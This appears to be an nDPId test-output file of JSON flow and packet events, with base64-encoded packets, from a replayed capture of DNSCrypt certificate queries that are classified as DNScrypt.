+00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":325,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00497{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":326,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":135,"flow_packet_id":1,"flow_first_seen":946739317496,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.76.113.31","src_port":51589,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":135,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":326,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":496759,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcbs5AAL0R7doKAAABLUxxH8mFAbsCCGFBZBcBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANkbnMEc2VieQJpbwAAEAABAAAAAAAAAAAAAcgADAHEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":326,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":135,"flow_packet_id":1,"flow_first_seen":946739317496,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.76.113.31","src_port":51589,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00497{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":327,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":136,"flow_packet_id":1,"flow_first_seen":946739317496,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.76.113.31","src_port":43776,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":136,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":327,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":496865,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcbs9AAL0R7dkKAAABLUxxH6sAAbsCCGFBZBUBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANkbnMEc2VieQJpbwAAEAABAAAAAAAAAAAAAcgADAHEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":327,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":136,"flow_packet_id":1,"flow_first_seen":946739317496,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.76.113.31","src_port":43776,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00501{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":328,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":137,"flow_packet_id":1,"flow_first_seen":946739317496,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.76.113.31","src_port":59707,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":137,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":328,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":496868,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcbtAgAL0RChkKAAABLUxxH+k7AbsGBMYOZBQBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANkbnMEc2VieQJpbwAAEAABAAAAAAAAAAAABcQADAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":328,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":137,"flow_packet_id":1,"flow_first_seen":946739317496,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.76.113.31","src_port":59707,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00501{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":329,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":138,"flow_packet_id":1,"flow_first_seen":946739317496,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.76.113.31","src_port":52069,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":138,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":329,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":496872,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcbtEgAL0RChgKAAABLUxxH8tlAbsGBOPgZBgBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANkbnMEc2VieQJpbwAAEAABAAAAAAAAAAAABcQADAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":329,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":138,"flow_packet_id":1,"flow_first_seen":946739317496,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.76.113.31","src_port":52069,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":330,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":496883,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQbtEAub0RLusKAAABLUxxHwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":330,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":331,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":496886,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQbtAAub0RLuwKAAABLUxxHwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":331,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00670{"flow_id":136,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":332,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":810353,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"ZmZmZmZmRERERERECABFAADSA+ZAAC8R6A0tTHEfCgAAAQG7qwAAvmKSZBWBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANkbnMEc2VieQJpbwAAEAABwAwAEAABAABwgAB9fEROU0MAAgAAr5zEv1WGx7jem2pK2nflqiaMVF6rzF7WHGlvrWl\/ySW6UfM8aTB84zwXL6LFGFBJtiDl\/1MLBjf7\/4+Tj2baBU4DeMBZ\/3\/bX+\/ckKf+At437jBg5+agLK3mfgxAT218TgN4wFn\/f9sAAAABX1NRj19Uow8="} +00670{"flow_id":135,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":333,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":819516,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"ZmZmZmZmRERERERECABFAADSA+dAAC8R6AwtTHEfCgAAAQG7yYUAvkQLZBeBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANkbnMEc2VieQJpbwAAEAABwAwAEAABAABwgAB9fEROU0MAAgAAr5zEv1WGx7jem2pK2nflqiaMVF6rzF7WHGlvrWl\/ySW6UfM8aTB84zwXL6LFGFBJtiDl\/1MLBjf7\/4+Tj2baBU4DeMBZ\/3\/bX+\/ckKf+At437jBg5+agLK3mfgxAT218TgN4wFn\/f9sAAAABX1NRj19Uow8="} +00670{"flow_id":137,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":334,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":819696,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"ZmZmZmZmRERERERECABFAADSA+tAAC8R6AgtTHEfCgAAAQG76TsAviRYZBSBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANkbnMEc2VieQJpbwAAEAABwAwAEAABAABwgAB9fEROU0MAAgAAr5zEv1WGx7jem2pK2nflqiaMVF6rzF7WHGlvrWl\/ySW6UfM8aTB84zwXL6LFGFBJtiDl\/1MLBjf7\/4+Tj2baBU4DeMBZ\/3\/bX+\/ckKf+At437jBg5+agLK3mfgxAT218TgN4wFn\/f9sAAAABX1NRj19Uow8="} +00670{"flow_id":138,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":335,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":822049,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"ZmZmZmZmRERERERECABFAADSA+pAAC8R6AktTHEfCgAAAQG7y2UAvkIqZBiBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANkbnMEc2VieQJpbwAAEAABwAwAEAABAABwgAB9fEROU0MAAgAAr5zEv1WGx7jem2pK2nflqiaMVF6rzF7WHGlvrWl\/ySW6UfM8aTB84zwXL6LFGFBJtiDl\/1MLBjf7\/4+Tj2baBU4DeMBZ\/3\/bX+\/ckKf+At437jBg5+agLK3mfgxAT218TgN4wFn\/f9sAAAABX1NRj19Uow8="} +00670{"flow_id":133,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":336,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":825451,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"ZmZmZmZmRERERERECABFAADSA+hAAC8R6AstTHEfCgAAAQG7qNgAvmS2ZBmBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANkbnMEc2VieQJpbwAAEAABwAwAEAABAABwgAB9fEROU0MAAgAAr5zEv1WGx7jem2pK2nflqiaMVF6rzF7WHGlvrWl\/ySW6UfM8aTB84zwXL6LFGFBJtiDl\/1MLBjf7\/4+Tj2baBU4DeMBZ\/3\/bX+\/ckKf+At437jBg5+agLK3mfgxAT218TgN4wFn\/f9sAAAABX1NRj19Uow8="} +00670{"flow_id":134,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":337,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":829317,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"ZmZmZmZmRERERERECABFAADSA+lAAC8R6AotTHEfCgAAAQG71+MAvjWuZBaBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANkbnMEc2VieQJpbwAAEAABwAwAEAABAABwgAB9fEROU0MAAgAAr5zEv1WGx7jem2pK2nflqiaMVF6rzF7WHGlvrWl\/ySW6UfM8aTB84zwXL6LFGFBJtiDl\/1MLBjf7\/4+Tj2baBU4DeMBZ\/3\/bX+\/ckKf+At437jBg5+agLK3mfgxAT218TgN4wFn\/f9sAAAABX1NRj19Uow8="} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":338,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":139,"flow_packet_id":1,"flow_first_seen":946739318038,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"151.80.222.79","src_port":53876,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01102{"flow_id":139,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":338,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":38037,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIc+3JAAL0RigEKAAABl1DeT9J0AbsCCDh2XDIBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAdvcGVubmljBGkycGQDeHl6AAAQAAEAAAAAAAAAAAABwwAMAb8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":338,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":139,"flow_packet_id":1,"flow_first_seen":946739318038,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"151.80.222.79","src_port":53876,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00502{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":339,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":140,"flow_packet_id":1,"flow_first_seen":946739318038,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"151.80.222.79","src_port":45497,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":140,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":339,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":38043,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXc+3MgAL0RpkAKAAABl1DeT7G5AbsGBKXWXC8BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAdvcGVubmljBGkycGQDeHl6AAAQAAEAAAAAAAAAAAAFvwAMBbsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA